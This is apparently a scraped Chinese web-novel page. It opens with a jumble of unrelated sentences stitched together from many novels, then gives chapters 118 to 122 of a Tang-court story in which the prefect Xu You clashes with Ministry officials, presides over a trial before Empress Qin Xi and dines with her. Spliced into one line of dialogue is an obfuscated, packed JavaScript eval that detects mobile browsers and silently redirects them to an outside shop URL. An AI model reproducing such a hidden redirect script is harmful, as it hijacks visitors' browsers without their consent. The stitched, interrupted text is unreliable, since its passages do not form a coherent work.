而且,他现在就是一身质地华贵的古装,紫衣翩翩,根本不像凡人。活脱脱便是偶象剧中的古代天子降临人间。 当天晚上,司马惊鸿没有能睡在他的妻儿身边,因为那道手谕让白芷很不开心。 他是什么时候来的澳门,其实当她抽到那一张红桃k的时候她就应该察觉到,或许是霍南天来了,所以王才在她的手上。 能够回到过去,能够在一切都没有发生之前重新开始,真的太好了。 陛下虽然不重视庶子,可是这并不代表她的两个儿子就可以肆无忌惮。 “南天,为什么我的电话你都不接了?”看着儿子并不理睬她,坐到了办公桌后面的转椅上,罗伊人心痛的说着。她已经尽力的想要讨好他了,可是这个儿子根本就不领情,甚至把她当成了仇人一般的对待着。 与此同时,顾青云也有了一个固定的地方可以统一解答问题,没有影响到家人的生活,这让他很是满意。 秦知秋苦笑,“若是可以选择,我宁愿没有母亲。”世间哪个母亲会生下自己的孩子不管不问?等到二十多年后出现时却是冷漠的利用? 虽然心里有惊喜,可白芷还是有些别扭地嘟唇。并且推开了他,顾自进屋。 原来,元气貌似是一种充满了浓郁能量和生机的气流,能够赋予断裂的骨头一些强大的重新生长的力量。 只不过,雪傲海听闻,仅仅只是在心中冷笑了一声,手中仍旧施法不止,至于之后,无论雪藏元的元婴是怒骂,是求饶,还是献媚,雪傲海都是置若罔闻,而雪藏元的元婴也越来越衰弱。 就在这危机万分的时刻,在大鹏王族地深处,一道冷然的声音传出。 好么~看来罗德尼大姐姐已经是在接触赤由还不到一个月的时间了就把赤由当做偶像来看待了,或许要不是戚姐姐对她足够好的话,难说都要考虑跳槽到秘银岛镇守府去享受赤由所带来的福利了。 十分钟之后,装甲团那边传来消息,十几辆战车损毁。即便留下几辆车,也因为油料耗尽,已经抛锚了。 “如果我非要出去呢?”江媚坚定说道,她是迫不及待想见杨泽一面。 “是!”简单应答之后,点到名的人就立刻消失在了大殿之上,各就其位去了。 人家是老兵,是首长,是运筹帷幄指挥千军万马的将军,他有什么理由出卖祖国呢? 因为昨晚在悬崖下修炼了一晚上,实力有提升,再加上十几米的高度只是昨天掉落悬崖的高度的一半,他仅仅只是身子摔得疼。 挂断电话后,陈波找了颗绿化树,呆在树下,他一边抽烟,一边耐心的等待着。 对于这一点冲击力量,江空也没有时间管它了,耳中的系统提示音完全吸引了他的注意。 雷电之力游走,发出一阵异响,这头疾风兔的毛发瞬间被电成一层焦炭,身体也在原地抖个不停。 不得不说扫把是神奇的魔法交通工具,可以当飞机,还可以当潜艇,可以说是海陆空三栖交通工具。 安玉霖将手张了张, 缓缓落在她头上, 轻轻将她搂住。这样……也很好。就这样吧。 这片富饶而辽阔的大地,对外面的人来说,就像是一个巨大的藏宝窟,引得无数人蜂拥而至。 孟经理只是笑了笑,没说话。她现在心情非常好,并不想搭理面前这个更年期的老男人。 一个拥有分身法术、控制时间法术,召唤强大的旋风法术,这样的人简直超出了简的想象,而且每一种法术都威力都十分巨大。 “江西巡抚敢这样说,自然是有证据的。”景安帝盯着秦凤仪,与他道,“你收一收手。”景安帝的音调并不太高,却无形中有股子压摄之意。 而另一个黑色的猫头鹰格外有特点,它的头上拥有两戳尖尖的羽毛,犹如两只兔耳朵般耸立在头顶,这种猫头鹰名叫长耳鸮,生活在森林之中。 班纳心中不解,但想到可能还身陷危险的贝蒂,以及被好友背叛的事情,顿时生出强烈无比的愤怒。 “疯婆子,有本事你就接过这把伞,那你就可以见到阿敏了。”男鬼说道。 人形默默地把对王兴江的闪电等级调高了一个档次,现在的惩罚还是太轻了,他还不够懂礼貌。 林月如也感受到了青木丽华的灼灼视线,脸色有些娇红,随即又自信了起来。 可这扇石门起码重千斤,想要打开,必须用炸弹,可这一炸的话,可能山洞也得糟,毕竟是在悬崖边上,随时都可能塌陷进去。 那名队长经验更丰富,参加过的战斗更加年久,知道的事情也更多。 生怕她有半分不适应,既不太过分让她生觉自卑,又周全地为她考虑到所有。 “可是。”焱霄有些慌了,他想说些什么。但是却也无从说起,因为他真的没有办法相信自己的师傅竟然会做这样的事情。 已经躲到柱子后面的近江手里知道以刚才那一枪的狙击水平,不会放过自己刚才摔倒地上的机会,可这次没有出现射击——那就不足为惧了。 第一百一十八章 和花魁没羞没臊一夜 苏影湄笑笑。她心中虽然也打着鼓,不知道这样做的结果到底是输是赢。但是,不赌怎么知道到底会不会赢呢? 我正念叨着呢,砰的一声门直接被踹飞了,吓得我手一哆嗦,榔头差点掉地上去了。 “这未来爹地这个称号倒不错,但候选人之一什么时候才能省略掉?”一听见她的声音,慕容瑾便忍不住戏谑道。 慈安一听那老妈子说点什么回头率,不由得大吃一惊,这让他没有想到的是,在一百多年前的大清朝,人马也知道什么回头率,看来那时候的人也够时尚的了。 “我会怎么死,与你没有半毛钱关系。”苏煜阳冷声道,说完就要拉着凌秒离去。 “兄弟们,我们桂军没有投向的孬种,跟鬼子们拼了!”营长也将手中的望远镜往地上一扔,反正都是要死的人了,再要这玩意也没什么用,拿起一把歪把子机枪之后,营长率先冲出了战壕。 各国公使相互看看,对于他们自己亲手抽到的谈判顺序,都不可能说出点什么不同的意见来。 车子缓慢的行走在车河之中,杨华把握着苏影湄的心情,尽量的慢。 这一场酒宴从中午一直喝道晚上,大家便喝边聊,菜上了好几轮,酒也喝了好几坛子,相互之间聊得最多的就是大清变法维新的的憧憬,说的最多的也是他们之间的友情。 我看着我的爱人与别人在一起,不管幸福还是不幸:这都让我难过。 其中就包括今天的崇圣双子审判官,可他依旧不知道这其中的原因。也依旧不清楚这件水晶饰品倒底有什么名贵值钱的地方。惹得那么多强大的妖魔鬼怪喜爱。 早有八大金刚对东来佛祖施礼说道:“东来佛祖,这样的妖孽,不要和他理论,要我们好好教训他一顿,让他好好长长记性。”。 因为十万异火,有个特点就是可以吞噬别的火焰,不像是别的火焰无法吞噬别的火焰,而且十万异火本身就是属于天地特殊的火焰之一。 正卖力抵挡着呢,其中一只怪物突然一退身,一蓄力,一道土黄色魔法再度挥出。风夜从一开始到现在还没服用过回血药水,而且这次的突变,他要喝也来不及了。 望了一眼四周,五哥点了点,示意大家坐下,然后坐在关公像后的主位。如今正是乱世之秋,五哥在这个时候不得不为大家的前途而考虑。 “呦呵,听你的意思好像认识那几个高一的喽?”那人乐呵下抽了口烟盯着我笑着说道。 一个完整的仙根和一个不完整的神格就像是普通人和一个缺了一条腿的职业足球运动员,就算你是职业运动员,你缺少了一部分,一样不是一个普通人的对手。 他们一行人虽然都有着正式身份,但毕竟此时都是作了侍卫打扮。 柳如春见此,对他说道:“队长,我们一起上去吧,我也想看看你们的办公人员怎样办公?”,妖精禁卫军队长易天佑回答说道:“行吧,柳如春。”。 “这家伙。”夏天宇眼神一变,不敢怠慢,此刻的晴天,就是一头猛兽,而且,他的目光看向自己的时候,不是对待猎物的眼神,而是在挑战一个更加强大的猛兽时,那种热血沸腾的战意。 在马老板的心中,唐峥等人都是死人了。说出来也没有什么关系。 夏惠帝本来就怕世家抱成团,丽贵嫔能升这么高也是夏惠帝太喜欢的缘故,再加上丽贵嫔为夏惠帝生了一个健康的六皇子。即便再生一个皇子,丽贵嫔也只能升一级半级,再高不了。不然世家这边可不干了。 百里妍卿和百里妍雨、妍梦、妍绘几个因着百里妍钰的事情被禁了足,严聿衡几次上门都没办法见到百里妍卿。 幸亏整个寒山寺的高手非常多,都可以达到灵力化翼的地步,这些高手的牺牲数量并不多,卫青云想要厉害的时候,却被魍魉门的创始人魍魉所带着厉害。 “隆隆!”突厥大军出动,蹄声如雷,如同一片海潮似的,飞速离开黑沙城。 灌钢法是南北朝时期发明的,这是钢铁史上的一座里程碑。自此以后,钢铁告别了“千锤百炼”这一传统工艺。在此以前,要想获得精良的钢铁,就得一锤一锤的锻打,不仅耗时耗力,产量还很低。 另外,当暗器使用的银针,还有九阳木针和五行金针这些。都是必须要带着的。 四个偷袭碍手的刺客,屁颠屁颠地跑路了,跑了一阵后,又绕了凑到了一起。 武则天精明过人,有雄视天下之才,她既然有话说,那必然是非常了得的大事,众人的目光齐刷刷集中在她身上。 “噼里啪啦,无极八卦?那不是九阳十三剑最后一式的口诀吗?”章建豪摇头道。 如果他们之间的结局注定是离别。那她为什么不纵容自己为彼此写下一个完美的句点。 然而陈天云一家可就翻天了。胡喜喜彻夜不归,电话关机,不在公司,也不在湾湾家里。开始的时候还瞒着老爷子的,但到了早上陈天云一副失魂落魄的脸便再也瞒不住他了。 看着满桌子的珍馐美味,沈婠喟叹一声,只在心底说着浪费,还是坐在添了的位子上就了半碗米饭。 沈婠看着他的背影嘀咕:“这算什么嘛!”心里想着他可能是怕姐姐担心,所以特意回来告诉姐姐一声,这样看来他对姐姐倒也不算坏,那些养在后院的姬妾什么的,自己就当没看到好了。 兴奋的不是她知道了走法,什么五行八卦的,她不懂。她兴奋的,是可以证明了不是情比金坚的,也可以顺畅地走到相思亭。这说明轩辕昊天和楚青涵也许是知道了走法才顺利到达的,而不是所谓的……心灵相通。 沈婠只觉惜尘指尖所及之处,丝丝微凉。到也不避让,柔顺的容他轻抚。 第一百一十九章 打狗不看主人 “本官刑部尚书,王亮!” 王亮身穿紫色官袍,气势威严庄重,态势拿捏的很足。 许攸眉头斜挑,他没去找王亮的茬,对方居然来找他,还是亲自过来! “王大人,不知下官犯了什么罪,能让刑部尚书亲自出马?” 在王亮身后,一行官员看到许攸如此猖狂,也都是目瞪口呆模样。 刑部尚书之子被人诓骗,欠下天价赌债,卢氏二公子也被人威胁,如此大的事情,许攸居然装不知道? 王亮没出声,依旧背着手站在原地,但无形之中,他给人一种恐怖威压。 这是来自上位者的威势,身为王氏在长安城的话事人,又是当朝刑部尚书。 王亮的身份和地位,都不是许攸能轻视。 他不开口,有人会开口! “放肆!” “许攸你还不跪下,你可知道,你犯了多大的罪!” 说话的年岁约四十左右,腰间挂着块“刑”字腰牌,语气阴狠毒辣。 “你可知道,你虽是京兆府府尹,但无先斩后奏之权!” “此次你当众斩了卢氏三子,且不说民心不安,怨声载道,朝堂颜面被你置于何地,天子颜面,又被你置于何地?” “不尊天子,不敬律法,肆意妄为,草菅人命,你还不跪下认罪伏法!” 袁康冷笑一声,眼眸深处的鄙夷,快化作实质。 昨夜天子召集六部尚书,以及三省重臣入宫,但圣旨被门下省扣下了! 如今天子命令不达,许攸就没有特权。 “天子震怒,此事唯有你以死才能平息!” “还请许大人上路!” 许攸闻言,眉头皱的更深。 他都做的这么明显,难道秦曦真的打算不管他? 还是说,秦曦有其他的谋划? 如今他和卢氏是不死不休,作为初来长安城的小官,深得天子宠信,旁人不猜忌排挤,这才是不正常的事情。 许攸没想过秦曦会不插手,他以为至少会有一道圣旨,让他把这件事调查结束,顺便借助他的手,将卢氏所有资产剥夺。 “可惜啊可惜!” 念此,许攸无奈苦笑,果然是伴君如伴虎,女人心海底针,他根本看不透。 所有人都在帮卢氏,他却偏偏要反其道而行,将这个案子,办成铁案,永远翻不了案! 不仅如此,他还要灭了卢氏满门,让世家们看看,触怒他的后果是什么! “敢问这位大人姓何名什么,又在什么部门任职?” “本官若是没记错,我是京兆府府尹,正五品!” “至于杀不杀本官,刑部做不了决定,得上报三省,由陛下裁定。” 说道这里,许攸轻蔑的抬起头,一口浓痰从口中吐出。 “呸!” “你算什么东西,当狗也得看看自己什么货色,敢惹本老爷,行不行今晚本老爷就带人,把你抄家灭族!” 众人目瞪口呆,一个个都怀疑自己听错了。 尤其是袁康,他虽然不是什么大官,只是刑部主簿,但他可是王亮的心腹,在刑部是一人之下,千人之上! 被个不知名的野小子嘲讽,袁康心中怒火上扬,眼眸深处的怨毒,也愈发明显。 “我可不怕你,你若是威胁其他人就罢,威胁我袁某人,你还嫩了点!” “都愣着干什么,还不速速动手!” “今日我等为民除害,先斩了这不知死活的奸贼,再禀告圣上。” 袁康根本不怕许攸,哪怕是面对如此赤裸裸的威胁,依旧丝毫不让。 气氛变得凝重,十多名刑部的差役,正虎视眈眈的看向许攸。 只要王亮开口,今日许攸必死无疑。 许攸也被逗笑了,他发现有时候,做人真的不能太低调,否则会被人当成傻子欺负。 “袁大人,你当真要杀我?” “杀你又如何?” 袁康嘴角勾起冷笑,他可不怕许攸告到圣上面前,只要现在傻了许攸,那么一切都不会发生。 王亮依旧没动,除了开头那句自我介绍之外,他就好似一尊门神,杵在那一动不动。 十多名差役朝着许攸围过来,这些都是精锐,面对普通人时候,可以以一当十的存在。 就在这十几人靠近时,许攸无奈叹息一声。 “本老爷不想杀人,奈何有的人,总是这么不知道死活!” “袁大人是吧?去阎王面前,记得告诉阎王,你是我许攸杀的!” 说完这句,许攸猛地朝着袁康冲去,身形之快,令在场的差役根本没反应机会。 袁康只感觉一道劲风冲来,视野内便是一片模糊,从心口传来的刺痛,让他下意识低下头。 “如朕亲临!” “此金牌是天子赐予本老爷,现在你们谁想杀我,自己站出来。” “王大人,你要杀我吗?” 许攸轻描淡写的将袁康松开,刚才还是个大活人,现在已经彻底成了具尸体。 王亮瞳孔紧缩,他没想到许攸这么莽,毫无道理的杀人,杀的还是他的人! “许大人,当街杀人,你可知道什么罪?” 面对王亮的质问,许攸只是淡淡的竖起中指。 “王大人,你可管好你自己,别忘了你家那逆子,还欠了我不少银子。” “若是惹得我不快,我今天就将此事传出去,刑部尚书之子花坊买醉不成,邀人赌斗,结果输不起,现在连银子都不愿意给!” “好个刑部尚书,好个王家,吓得我许某都快哭了!” 许攸阴阳怪气,语气充满讥讽,又带着疯狂和不屑。 王亮脸上的阴霾一闪而逝,转而又变成了笑脸。 “呵呵,此前不过是误会,许大人不要介意。” “本官此次前来,不是为了别的事。” “圣上要彻查女鬼索命案,你身为京兆府府尹,又是此案的主审,应当十分了解此案。” “故此陛下降旨,让你前往刑部,准备三堂会审!” 王亮表情很微妙,说到最后的时候,故意一拍脑门,表现出自己刚想到的模样。 “许大人见谅,你看看我这记性,居然把这么重要的事情忘记。” “你快随本官去刑部,免得耽误了时辰,陛下不悦,可不好交差!” 第一百二十章 三堂会审开启 许攸一脸懵逼,刚还要打要杀的模样,怎么转眼间他的手,就被王亮拉住了? 还有三堂会审,这可不是玩笑。 “王大人,你莫不是在逗我?” “我就是个京兆府府尹,参加三堂会审,这叫什么个事?” “难不成是天子让我去的?” 按照大唐的司法制度,三堂会审应该是大理寺、刑部和天子亲审,和京兆府没半毛钱的关系。 至于能否参加三堂会审,京兆府也不是不可能,但概率很低,基本上是出现在被砍头的名单上。 不是许攸不相信,而是这玩意大唐历史上就没记载,前朝历史也没。 他个小小的京兆府府尹,连三堂会审资格都没,更别提主审。 王亮却神色幽幽,似乎料定了许攸会如此说,淡然的开口解释。 “此事千真万确,陛下对此案相当重视,打算重审此案,并且公之于众!” “许大人你不但要去,怕是此案还得你来主审,旁人怕是没那资格!” 许攸不由皱起眉,要是秦曦不管这件事,他还能从中做点手脚。 可如今居然是她亲自下令,这是要搞什么? “女人心,真的是海底针!” 想不通,许攸只能无奈叹气,看来得走一步看一步,至少他那功德不能丢。 再不济就让罗网出动,搜罗下证据,到时候他直接提着刀上门,先把罪魁祸首砍了再说。 “即使如此,那就多谢王大人。” “可是这位……” 地上袁康死的不能再死,要知道王亮现在和许攸两都开始握手言和,估计他能气得从地上跳起来。 其他官员都低头看向地面,他们这些人都是附庸,若是没王亮,他们走不到今天,至于后果么……和地上的袁康差不多。 王亮极为大度,一挥手冲着许攸道。 “许大人当街遇到刺客,此乃本官失察,本官自会上报陛下,请陛下责罚。” “还请许大人早些时候上路,莫要误了时辰。” 作为刑部尚书,当众被人将自己心腹弄死,王亮不气是不可能的。 不过他的涵养和气度,远非袁康等人可以比拟,在这个时候,也只是阴阳怪气两句,并未下其他命令。 许攸抱抱拳,抬手捡起金牌,擦了擦上面血迹,再次塞会兜里。 看着他懒散的架势,王亮眼底一抹阴狠划过。 …… 朱雀大街永定门外,临时搭建的公堂外挤满了人。 许攸深吸了一口气,缓缓走出幕布。 公堂虽然临时搭建,但该有的东西一应俱全。 在左上方位置,摆放了一张龙椅,金色龙椅上,秦曦头戴冠冕,身披龙袍,一动不动保持威严姿态。 她虽醉着不懂,但身上那股睥睨天下的气势,未曾减少,尤其是那君临天下的霸道,让众人喘不过气来。 许攸来到公堂上,隔着很远距离,躬身朝着龙椅行礼。 “臣京兆府府尹许攸,拜见陛下。” 龙椅上的秦曦凤眸斜瞥,一双浩瀚星眸内看不出任何波动,却仿佛能东西人心。 “免礼。” 简单的两个字,将公堂内温度给拉的更低。 天威不可测! 整个公堂内,文武百官林立,一个个目光若有若无的在许攸,以及王亮和李德三人身上徘徊。 更多人的目光,则是赤裸裸的盯着许攸。 作为新任的京兆府府尹,上任还没一月,就惹出这么大的麻烦,更是把矛头对准了世家。 他们很好奇,许攸到底哪来的底气,居然敢触怒卢氏! 在众人目光中,秦曦收起冰冷目光,那张魅惑众生的脸上,第一次有了其他表情。 “许攸,昨夜去了何地?” 众人一愣,连许攸都愣住了。 大庭广众之下,天子不问别的,居然问昨夜去向? 百官很是好奇,有消息灵通的,已经开始在暗笑。 面对女帝的目光,许攸饶是脸皮厚,此刻也不得不脸红。 “回陛下,昨夜去了醉月花坊。” “所去做什么,细细到来!” 过分了,这就过分了! 许攸脸上表情不断变化,他本打算说自己去体察民情,慰问下失足的姑娘们。 话到嘴边,他直接沉声回答。 “启禀陛下,去找姑娘了!” 噗嗤! 百官都忍得很辛苦,大唐虽然没律法规定,官员们不得去花坊青楼这些地方,但大家都是有身份的,好歹要点脸。 谁也没想到,许攸这货这么直白,当着天子的面,直接说自己去找姑娘。 李牧眼皮狂跳,他早就猜到许攸会不着调,但没想到这么不着调。 眼看天子脸色变化,他不得不干咳一声。 “陛下,当以大事为重。” 秦曦银牙紧咬,那眸子中的冷意,几乎要化作实质。 “哼!今日饶你狗命,若是再有下次,朕砍了你狗头。” 刚才还在嘲笑许攸的官员,笑声一下就卡住了。 他们怀疑自己是错觉,隐约间,似乎听到了天子在撒娇。 不过当他们抬头看去,秦曦已经恢复刚才那高冷模样,冷傲的好似个圣女。 “你初到京兆府,职责沉重,任务繁杂,可有什么不适的地方?” 虽然没了先前的撒娇语气,但秦曦话语中的关切,却让许攸心头一颤。 周遭的目光,也变得冷冽。 面对如此情况,他并未慌张,而是淡定的拱手回答。 “一切都刚开始,托陛下的福,臣觉得还挺轻松,并未察觉到压力。” 秦曦美眸流转,对许攸的回答,并不感到意外。 “那你可知道,朕此次为何要三堂会审?” 说到这个问题,许攸也纳闷。 哪怕是秦曦要办成铁案,一道圣旨即可,这样搞下去,反倒是许攸自己里外不是人。 好在他也没打算当人! “不知,也不想知道!” 秦曦愕然,在看到许攸脸上的淡然后,又觉得无聊。 她发现自己真的无法奈何许攸,哪怕今天她不来,这案子也不会有任何的变数。 “今日你是主审,不用忌讳朕的存在,开始审案吧!” “卢氏所有人等,都在公堂后候着!” 秦曦故意提了一嘴,便缓缓闭上美眸,做出闭目养神的姿态。 许攸秒懂,嘴角的冷冽勾起,一双鹰眼扫视全场,被他看到的人,都下意识后退半步。 第一百二十一章 女帝的小算盘 “来人,将曹爽带上来!” 哗啦,哗啦。 脚镣在地上拖曳,发出沉闷声响,每一步都似乎是踩在众人的心头。 在两名禁卫的押解下,身穿囚服的曹爽,出现在众人视线中。 曾几何时,曹爽还满脸嚣张,威胁许攸,如今他不但成了阶下囚,连脸上表情都只剩下恐惧。 刚进入公堂,他便扯开嗓子,冲龙椅上的秦曦高呼。 “陛下饶命,臣是被冤枉的!” “求陛下明察,是京兆府府尹冤枉臣,故意栽赃陷害臣!” 公堂内鸦雀无声,不少人皱起眉看向许攸。 事情变得有意思了! 作为主审官,许攸刚坐下没多久,就被指责故意栽赃诬陷。 许攸面无表情,目光扫过曹爽,嘴角微微勾起。 “曹大人,你说你是被诬陷的?” 曹爽知道自己今天必死无疑,他也是发了狠,干脆仰起头,用一双猩红的眼睛,瞪着许攸。 “许大人你何必装成这模样,你故意联合山麓书院祭酒和门房,陷害卢氏三子杀人,又将女鬼索命的无头冤案,给强行定为泄愤杀人,本就是荒唐!” “这些不过是你为了粉饰自己,想给陛下和诸位同僚个假象,表现出你许攸能力超群而已!” “我不服!” 曹爽披头散发,说到情深处,脑袋猛地砸向地面。 “陛下,臣在兰阳县二十年,兢兢业业多年,没有功劳也有苦劳。” “臣从未做过作奸犯科之事,还请陛下明察!” 气氛变得更加肃穆沉寂。 即便是秦曦,也皱起眉梢。 许攸并没有反驳,而是冲着公堂外说了一句。 “周龙,把东西抬上来!” “喏!” 众人只听到门外传来咚咚脚步声,声音压抑低沉,每一步都很沉重,似乎有万斤重。 周龙和张虎四人,每个人都抱着个竹筐,竹筐有半人高,里面全都是各种卷宗档案。 “我不知道你是不是清白,但我知道这些乃京兆府多年所统计,自前朝开始,你便担任兰阳县县令,二十多年间,所积攒钱财无数。” “陛下,此乃我彻夜派人调查,为了掩人耳目,臣只能巧借去花坊买醉,躲开他们视线。” “还请陛下定夺!” 听到这话,不少人都开始面色不好看,一个个交头接耳,议论起这件事。 秦曦没理会众人的反应,抬手拿起一卷卷宗,在手中打开。 “官商勾结,欺压百姓,愚弄朝廷!” “好!好一个兰阳县县令!” “你该死,历任京兆府府尹也该死,大理寺和刑部都该死!” 天子脚下,居然发生了如此荒唐的事情,还持续了将近三十年。 如此事情一旦发酵,大唐的威严,彻底扫地,更别说日后建立康庄盛世。 光秦曦手里卷宗记录的,就有十七起冤假错案,上面涉及人命三条。 秦曦的语调很冷,犹如九幽的寒冰。 “诸位爱卿可自行观阅,看看朕的天下,是如何的辉煌安详!” “看看这长安城下,又是如何的黑暗!” 此话一出,已经是直接定罪! 所有卷宗上记录的官员,都要问罪! 不等众人回过婶,秦曦那冷幽的声音,再次响起。 “卢氏一脉和曹爽勾结,官官相护,官商勾结,欺瞒朝廷,当以重刑!” “许攸,你继续!” 秦曦不仅要审,还要把这个坑里面的萝卜,给全部拔除。 许攸眯起眼,既然是这样,那他就不客气了! 得罪世家,他压根就不带怕! “陛下,卢氏有一位靠山,名曰卢象,在朝中担任御史大夫!” “此人乃卢氏背后的依仗,这么多年卢氏能和朝廷中官员往来密切,就是因为他!” “按照大唐律法,欺君罔上,倒施逆行者,该以车裂!” 大唐的刑法很极端,能被处死的,也只有两大类欺君叛国,枉顾人伦! 在这两类中,欺君属于仅次叛国谋逆! 卢象身体一软,噗通瘫坐在地上,面色如同白纸。 他连一句话都无法说出来,此刻证据就在眼前,而卢氏在长安城内的所有人,全部都在后堂。 龙椅上的秦曦脸色阴沉,显然是动了真火,她锐利目光缓缓扫过,眼眸深处的杀意几乎要化作利剑,将卢象给钉死在地上。 “还有何人?” 被秦曦目光扫到的百官,全都低下头,没有一个人敢抬头直视。 最终,秦曦目光落到许攸身上,希望对方能给自己一个满意答案。 许攸淡定的摊开手。 “启禀陛下,没了!” 没了?! 秦曦险些没被这话给气死,她酝酿这么久的气势,就这么没了? 还是李牧反应快,见许攸不打算继续,暗暗竖起大拇指。 “陛下,卢氏执掌天下布庄,今日许大人能将此腌臜之事彻底抖出,也是为了天下苍生!” “此事肯定不止一人,需要详细调查,若是没真凭实据,万万不可仓促定罪。” “想来许大人只针对卢象,必然有自己道理,还请陛下息怒。” 李牧是当朝首辅,真正的一人之下,万人之上。 有他开口调和,气氛变得不是那么紧张。 众人看向许攸,目光之中有羡慕,有嫉妒,还有酸…… 他们的脸上,各种表情汇聚,但是没人敢在这个时候刺激许攸。 秦曦无奈叹息,这是个好机会,可许攸不做也罢,连亲舅舅李牧都不帮她,这让她又有点难受。 无奈之下的她,狠狠瞪了眼许攸,又露出玩味笑容。 “李相说的没错,是朕疏忽!” “既然是许攸你查出的,那便由你来深入调查,卢氏之中凡是有罪者,罪加三等,无论老幼!” “此事你有功,暂封长安县男,待事情水落石出后,朕再行封赏!” 轰! 这话不亚于平地惊雷。 长安县男! 大唐很久都没封爵,除了开国那些功臣之外,已经十多年没出现爵位。 谁也没想到,新帝上任后的第一个爵位,居然是长安县男! 如果说之前百官是好奇与嫉妒,现在不少人眼底,已经露出了忌惮和深深的敌意! 尤其是那些世家门阀出身,一个个看向许攸的眼神,那恨不得吃了他! 许攸勾起嘴角,面朝秦曦躬身行礼。 “臣,谢陛下恩赐!” “臣一定会将卢氏斩尽杀绝,还大唐个郎朗乾坤!” 第一百二十二章 和女帝亲亲我我 公堂上的百官脸色不断变化。 封爵如此大的事情,难道不应该诚惶诚恐,这番道谢是什么意思? 卢氏是到了八辈子血霉,怎么就招惹这个煞星了? 在场有极大部分,都是世家出身,一个个看许攸的眼神,那是恨不得吃了他。 和世家为敌,上一个这么狂的,早就去地府投胎转世。 秦曦也是满脸错愕,她就客气客气,谁知道许攸这么不要脸,居然真的领命,还要把卢氏斩尽杀绝。 “免礼。” 她也懒得多说什么,现在她看许攸一眼,都感觉自己心口疼。 “你等继续,朕要知道这女鬼索命到底是何!” 接下来的剧情就简单许多,许攸将兰阳县的事情再次上演,曹爽这次可没上次那么走运。 卢家三公子**,也没凶手,但许攸早就准备好了证据。 数件铁证下,此案直接被定为凶案。 从饷午时分,一直审到黄昏,案件才水落石出,至于幕后的人,许攸还是没找到,但他不着急。 此次案子结束,那就是对整个京兆府开始动手,到时候卢氏有关的,一个都跑不掉。 “许攸,你和**陪朕用餐,其余人等全部退下。” 案件结束,秦曦再次下了道让人看不懂的圣旨。 不少官员甚至开始怀疑,许攸是不是天子养的面首。 晚饭自然不可能在临时公堂,得到天恩,许攸也是第一次进皇宫,来到了紫寰殿。 紫寰殿是秦曦专门用膳的地方,平日里能来此地用膳的,也只有她和几位三省的重臣。 等三人抵达时,桌案上早已摆满了各种菜肴。 秦曦坐在桌案上方,而许攸和李牧则是单独弄了个桌子,两人面前只有碗筷,并未有任何菜肴。 “把这些给两位爱卿送去,此乃南诏进贡的雪蛤,乃是滋补圣品。” 到现在她还没忘记,昨晚许攸去青楼,一夜没回! 许攸嘴角抽动,看到太监递来的雪蛤,也不客气,直接端起来就往自己碗里倒。 旁边的李牧眼皮狂跳,他还是第一次见到,有人在紫寰殿用膳,居然敢蹲在椅子上。 雪蛤入口即化,带着一丝甘甜,还有丝丝凉意。 许攸三两口吃完,将视线落到秦曦面前的烤全羊上。 那意思很明显。 秦曦嘴角也在疯狂抽动,她发现自己拿许攸有点没办法,这就是个泼皮无赖,还是不怕死的那种。 “吃!吃!吃!” “一天到晚就知道吃!” 嘭! 秦曦实在忍不住,玉手猛地拍在桌案上。 “许攸你好大的狗胆!” “谁让你如此大胆,挑衅卢氏,做出如此大逆不道之事?” 许攸眯起眼,合着喊他来吃饭,是故意在这里等着他,要收拾他。 他一天都没吃东西,就刚才喝了口雪蛤,原本不吃东西还好,这会吃了之后,肚子里面开始翻江倒海,饿的更是难受。 “陛下,你要治臣的罪,能不能让臣当个饱死鬼?” “臣可是为了大唐鞍前马后,一天都没吃东西,就刚才那一口汤,打发叫花子呢?” 秦曦眼睛瞪圆,胸口更是不停起伏。 若是现在她手边有刀,她发誓自己一定要把许攸舌头割下来。 两人针锋相对,谁也不愿意退一步。 小太监都快吓哭了,第一次伺候天子吃饭,本来就提心吊胆的,谁知道还来了个比天子更难缠的。 想到刚才许攸进门塞的银子,小太监双腿哆嗦,感觉自家九族都在阎王面前跳舞。 “咳咳,陛下!” “许大人年少无知,莽撞是莽撞了些,但确实对大唐社稷有功,不如让他多吃两口。” 许攸一脸怪异,老李头丫就不是个好人,他已经把女帝给激怒了,说不定现在死,还能钻一波漏洞,不用去查卢氏了。 偏偏李牧一开口,直接把僵持的气氛打破。 “吃!你自己滚过来,想吃什么自己端!” 秦曦是看明白了,用正常法子对付许攸,压根不可能成功。 反正她也不怕,只要青尧县还在,许攸就得乖乖听话。 许攸很不客气,干脆端着碗筷,将椅子端到秦曦龙椅下面,直接坐下开吃。 “**你别坐那么远, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997952|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们一起说说贴己话,你做那么远,我还得喊。” 李牧老脸黝黑,若不是涵养好,他现在就抄起碗筷,朝许攸脑袋砸去,将那脑壳给撬开,看看里面都是什么。 见状,秦曦揉揉眉梢,无奈的开口。 “舅舅,你也过来坐,别让他占了便宜。” “舅舅?” 许攸下意识重复一句。 “闭嘴!” 两道不同的声音,但同样夹杂愤怒,在他耳畔炸响。 被吓了一跳的许攸,决定不作死,乖乖蹲坐到椅子上,继续忙活着吃饭。 大殿内气氛怪异,小太监的常服,都已经被汗水打湿了。 “你们都退下,朕有要事和两位爱卿说。” 见许攸吃的差不多,秦曦翻起好看的白眼,冲四周宫女太监挥手。 太监和宫女们都庆幸捡回一条命,怪异的瞥了眼翘着二郎腿,正在剔牙的许攸,再次低下头往外走去。 宫殿大门紧闭,秦曦冷笑一声。 “许攸,你可别忘记,现在青尧县还是大唐的领土!” “你心怀天下,他们可不一定!若是这乱世因你而起,你难道就不内疚?” 这话戳中了许攸的命脉。 许攸剔牙的动作顿了顿,又装作没听到,自顾自的哼起歌。 见状,秦曦也不生气,继续冷笑着道。 “你明白朕的心意,朕也知道,你和朕是一样的人!” “帝王之路注定是孤独的,陪伴在朕身边,只有朕的舅舅和妹妹!” “若是朕当真想杀你,为何不举国之力,将你斩杀,将青尧县给踏平?” “你可曾想过?” 许攸愣住了,这个问题他真没想过。 